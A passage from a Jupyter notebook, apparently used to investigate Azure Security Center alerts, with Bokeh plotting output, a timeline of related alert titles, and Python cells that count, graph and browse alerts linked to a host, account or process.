       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1177\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"1177\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1177' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1177\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"1177\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"1177\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1177' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"1177\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"d38c27bf-b3db-49c4-ad9d-4a6ce67187e7\" data-root-id=\"1181\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"49d01054-9fc0-4786-b0a0-34019f74c2a4\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1191\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"1196\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":100,\"plot_width\":900,\"renderers\":[{\"id\":\"1191\",\"type\":\"DatetimeAxis\"},{\"id\":\"1195\",\"type\":\"Grid\"},{\"id\":\"1196\",\"type\":\"LinearAxis\"},{\"id\":\"1200\",\"type\":\"Grid\"},{\"id\":\"1208\",\"type\":\"BoxAnnotation\"},{\"id\":\"1218\",\"type\":\"GlyphRenderer\"}],\"title\":{\"id\":\"1180\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"1205\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1183\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"1187\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1185\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"1189\",\"type\":\"LinearScale\"}},\"id\":\"1181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1213\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"callback\":null,\"data\":{\"AlertName\":[\"Security incident detected\",\"Suspicious system process executed\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\",\"Possible suspicious scheduling tasks access detected\",\"Suspiciously named process detected\",\"Digital currency mining related behavior detected\",\"Detected the disabling of critical services\",\"Detected potentially suspicious use of Telegram tool\",\"Security incident with shared process detected\",\"Possible credential access tool detected\",\"Suspicious binary detected\",\"New SSH key added\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\",\"An history file has been cleared\",\"Suspicious binary detected\",\"New SSH key added\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\",\"Azure Security Center test alert (not a threat)\",\"An history file has been cleared\",\"Suspicious binary detected\",\"Possible credential access tool detected\",\"Suspicious Download Then Run Activity\",\"New SSH key added\",\"An history file has been cleared\",\"Possible credential access tool detected\",\"Suspicious binary detected\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\",\"New SSH key added\",\"Digital currency mining related behavior detected\",\"Suspiciously named process detected\",\"Suspicious binary detected\",\"An history file has been cleared\",\"New SSH key added\",\"Suspicious Download Then Run Activity\",\"Possible credential access tool detected\",\"Azure Security Center test alert (not a threat)\",\"Security incident with shared process detected\",\"New SSH key added\",\"Suspicious binary detected\",\"Possible credential access tool detected\",\"An history file has been cleared\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\",\"Detected potentially suspicious use of Telegram tool\",\"Detected the disabling of critical services\",\"New SSH key added\",\"Suspicious binary detected\",\"An history file has been cleared\",\"Possible credential access tool detected\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\",\"Azure Security Center test alert (not a threat)\",\"Potential attempt to bypass AppLocker detected\",\"Suspicious system process executed\",\"Suspicious binary detected\",\"Suspicious Download Then Run Activity\",\"An history file has been cleared\",\"New SSH key added\",\"Possible credential access tool detected\",\"Security incident detected\",\"Potential attempt to bypass AppLocker detected\",\"Potential attempt to bypass AppLocker detected\",\"Suspicious Download Then Run Activity\",\"New SSH key added\",\"Possible credential access tool detected\",\"An history file has been cleared\",\"Suspicious binary detected\",\"Azure Security Center test alert (not a threat)\",\"New SSH key added\",\"An history file has been cleared\",\"Suspicious binary detected\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\",\"New SSH key added\",\"Suspicious binary detected\",\"An history file has been cleared\",\"Suspicious Download Then Run Activity\",\"Possible credential access tool detected\",\"Azure Security Center test alert (not a threat)\",\"New SSH key added\",\"An history file has been cleared\",\"Suspicious binary detected\",\"Suspicious Download Then Run Activity\",\"Possible credential access tool detected\",\"Azure Security Center test alert (not a threat)\",\"An history file has been cleared\",\"New SSH key added\",\"Suspicious binary detected\",\"Possible credential access tool detected\",\"Suspicious Download Then Run Activity\",\"Azure Security Center test alert (not a threat)\"],\"TimeGenerated\":{\"__ndarray__\":\"AICf1tKOdkIAAOeXvY52QgAA55e9jnZCAIDGHKeOdkIAgLu0TI52QgAAcDmOjnZCAIAxOY6OdkIAgEzekY52QgCATN6RjnZCAIDuol6NdkIAgFxTDo12QgCA31IOjXZCAIDfUg6NdkIAAJtTDo12QgCAx1YOjXZCAIBvufmMdkIAgG+5+Yx2QgAAMbn5jHZCAIBpuvmMdkIAgF28+Yx2QgCAGIw3jXZCAIC/hTeNdkIAgL+FN412QgCAPIY3jXZCAIA8hjeNdkIAgL+FN412QgAAEewijXZCAIBJ7SKNdkIAABHsIo12QgAAC+0ijXZCAIAr8iKNdkIAABHsIo12QgCA92NJjXZCAIB0ZEmNdkIAAPEeTI12QgAA8R5MjXZCAADxHkyNdkIAAOsfTI12QgCAKSBMjXZCAICgIUyNdkIAgJs0AY52QgCAr+rwjXZCAICv6vCNdkIAgKnr8I12QgCAr+rwjXZCAICp6/CNdkIAAF/t8I12QgAA4/XrjXZCAADj9euNdkIAAAFR3I12QgAAAVHcjXZCAAABUdyNdkIAgLxR3I12QgAA+1HcjXZCAIAhVtyNdkIAAPy6x412QgCAKTLGjXZCAIApMsaNdkIAAA64x412QgAAi7jHjXZCAAAOuMeNdkIAgM+3x412QgAAi7jHjXZCAADicNuNdkIAgAAd3I12QgCAUwi3jXZCAAAbH7ONdkIAgF8es412QgCA3B6zjXZCAIBfHrONdkIAgF8es412QgCA0CCzjXZCAIDvhJ6NdkIAgO+Eno12QgCA74SejXZCAIDphZ6NdkIAgMuKno12QgAAvuuJjXZCAAC+64mNdkIAAL7riY12QgAAO+yJjXZCAAA77ImNdkIAAB3xiY12QgCAD1J1jXZCAABOUnWNdkIAgA9SdY12QgCACVN1jXZCAIAJU3WNdkIAgIBUdY12QgAAYbhgjXZCAABhuGCNdkIAAGG4YI12QgCAHLlgjXZCAIAcuWCNdkIAAMy7YI12Qg==\",\"dtype\":\"float64\",\"shape\":[95]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"1237\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1236\",\"type\":\"UnionRenderers\"}},\"id\":\"1178\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1233\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1204\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"1201\",\"type\":\"PanTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1234\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1179\",\"type\":\"HoverTool\"},{\"id\":\"1201\",\"type\":\"PanTool\"},{\"id\":\"1202\",\"type\":\"WheelZoomTool\"},{\"id\":\"1203\",\"type\":\"BoxZoomTool\"},{\"id\":\"1204\",\"type\":\"ResetTool\"}]},\"id\":\"1205\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"1235\",\"type\":\"YearsTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"1208\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1236\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1216\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1237\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1217\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"1178\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1216\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1217\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1219\",\"type\":\"CDSView\"}},\"id\":\"1218\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"1178\",\"type\":\"ColumnDataSource\"}},\"id\":\"1219\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null},\"id\":\"1183\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"1222\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"callback\":null},\"id\":\"1185\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"1187\",\"type\":\"LinearScale\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1225\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1189\",\"type\":\"LinearScale\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1226\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1213\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"1181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1192\",\"type\":\"DatetimeTicker\"}},\"id\":\"1191\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"1181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1197\",\"type\":\"BasicTicker\"}},\"id\":\"1200\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1227\",\"type\":\"DaysTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1224\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1225\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1226\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1227\",\"type\":\"DaysTicker\"},{\"id\":\"1228\",\"type\":\"DaysTicker\"},{\"id\":\"1229\",\"type\":\"DaysTicker\"},{\"id\":\"1230\",\"type\":\"DaysTicker\"},{\"id\":\"1231\",\"type\":\"MonthsTicker\"},{\"id\":\"1232\",\"type\":\"MonthsTicker\"},{\"id\":\"1233\",\"type\":\"MonthsTicker\"},{\"id\":\"1234\",\"type\":\"MonthsTicker\"},{\"id\":\"1235\",\"type\":\"YearsTicker\"}]},\"id\":\"1192\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1228\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":{\"id\":\"1181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1192\",\"type\":\"DatetimeTicker\"}},\"id\":\"1195\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1229\",\"type\":\"DaysTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1222\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"1181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1197\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"1196\",\"type\":\"LinearAxis\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alerts\"},\"id\":\"1180\",\"type\":\"Title\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1224\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1197\",\"type\":\"BasicTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1230\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"AlertName\",\"@AlertName\"]]},\"id\":\"1179\",\"type\":\"HoverTool\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1231\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1202\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1232\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"1208\",\"type\":\"BoxAnnotation\"}},\"id\":\"1203\",\"type\":\"BoxZoomTool\"}],\"root_ids\":[\"1181\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"49d01054-9fc0-4786-b0a0-34019f74c2a4\",\"roots\":{\"1181\":\"d38c27bf-b3db-49c4-ad9d-4a6ce67187e7\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1181"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "related_alerts = qry.list_related_alerts(provs=[query_times, security_alert])\n",
    "\n",
    "if related_alerts is not None and not related_alerts.empty:\n",
    "    host_alert_items = related_alerts\\\n",
    "        .query('host_match == @True')[['AlertType', 'StartTimeUtc']]\\\n",
    "        .groupby('AlertType').StartTimeUtc.agg('count').to_dict()\n",
    "    acct_alert_items = related_alerts\\\n",
    "        .query('acct_match == @True')[['AlertType', 'StartTimeUtc']]\\\n",
    "        .groupby('AlertType').StartTimeUtc.agg('count').to_dict()\n",
    "    proc_alert_items = related_alerts\\\n",
    "        .query('proc_match == @True')[['AlertType', 'StartTimeUtc']]\\\n",
    "        .groupby('AlertType').StartTimeUtc.agg('count').to_dict()\n",
    "\n",
    "    def print_related_alerts(alertDict, entityType, entityName):\n",
    "        if len(alertDict) > 0:\n",
    "            print('Found {} different alert types related to this {} (\\'{}\\')'\n",
    "                  .format(len(alertDict), entityType, entityName))\n",
    "            for (k,v) in alertDict.items():\n",
    "                print('    {}, Count of alerts: {}'.format(k, v))\n",
    "        else:\n",
    "            print('No alerts for {} entity \\'{}\\''.format(entityType, entityName))\n",
    "\n",
    "    print_related_alerts(host_alert_items, 'host', security_alert.hostname)\n",
    "    print_related_alerts(acct_alert_items, 'account', \n",
    "                         security_alert.primary_account.qualified_name \n",
    "                         if security_alert.primary_account\n",
    "                         else None)\n",
    "    print_related_alerts(proc_alert_items, 'process', \n",
    "                         security_alert.primary_process.ProcessFilePath \n",
    "                         if security_alert.primary_process\n",
    "                         else None)\n",
    "    nbdisp.display_timeline(data=related_alerts, source_columns = ['AlertName'], title='Alerts', height=100)\n",
    "else:\n",
    "    display(Markdown('No related alerts found.'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Show these related alerts on a graph\n",
    "This should indicate which entities the other alerts are related to.\n",
    "\n",
    "This can be unreadable with a lot of alerts. Use the matplotlib interactive zoom control to zoom in to part of the graph."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Draw a graph of this (add to entity graph)\n",
    "%matplotlib notebook\n",
    "%matplotlib inline\n",
    "\n",
    "if related_alerts is not None and not related_alerts.empty:\n",
    "    rel_alert_graph = mas.add_related_alerts(related_alerts=related_alerts,\n",
    "                                             alertgraph=alertentity_graph)\n",
    "    nbdisp.draw_alert_entity_graph(rel_alert_graph, width=15)\n",
    "else:\n",
    "    display(Markdown('No related alerts found.'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Browse List of Related Alerts\n",
    "Select an Alert to view details. \n",
    "\n",
    "If you want to investigate that alert - copy its *SystemAlertId* property and open a new instance of this notebook to investigate this alert."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Selected alert is available as 'related_alert' variable.\n"
     ]
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "490629bae2cb44a0a41b19090be5229b",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "\n",
    "def disp_full_alert(alert):\n",
    "    global related_alert\n",
    "    related_alert = mas.SecurityAlert(alert)\n",
    "    nbdisp.display_alert(related_alert, show_entities=True)\n",
    "\n",
    "if related_alerts is not None and not related_alerts.empty:\n",
